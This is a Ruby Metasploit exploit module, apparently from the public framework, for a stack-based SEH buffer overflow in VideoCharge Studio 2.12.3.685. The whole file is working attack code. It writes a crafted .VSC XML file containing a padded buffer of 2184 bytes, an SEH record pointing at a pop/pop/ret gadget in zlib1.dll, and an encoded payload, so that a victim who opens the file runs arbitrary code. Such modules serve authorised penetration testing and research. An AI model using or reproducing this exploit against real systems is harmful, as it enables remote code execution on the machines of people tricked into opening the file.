##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'VideoCharge Studio Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in VideoCharge Studio 2.12.3.685 when
          processing a specially crafted .VSC file. This vulnerability could be
          exploited by a remote attacker to execute arbitrary code on the target
          machine by enticing a user of VideoCharge Studio to open a malicious .VSC file.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'metacom',            # Original discovery
          'Andrew Smith',       # MSF module
          'Christian Mehlmauer' # MSF module
        ],
      'References'  =>
        [
          [ 'OSVDB', '69616' ],
          [ 'EBD', '29234' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'  => 'win',
      'Payload'   =>
        {
          'BadChars'    => "\x00\x0a\x0d\x3c\x22\x26",
          'DisableNops' => true,
          'Space'       => 2808
        },
      'Targets'   =>
        [
          [ 'VideoCharge Studio 2.12.3.685',
            {
              'Ret'     =>  0x61B811F1, #p/p/r | zlib1.dll
              'Offset'  =>  2184
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Oct 27 2013',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.vsc']),], self.class)

  end

  def exploit

    buffer  = rand_text_alpha(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.12.3.685">
<cols name="Files"/>
<cols name="Profiles">
<Property name="Profile">
<cols name="Formats">
<Property name="Stream">
<Value name="Name" type="8" value="#{buffer}"/>
</Property>
</cols>
</Property>
</cols>
</config>|

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(file)

  end
end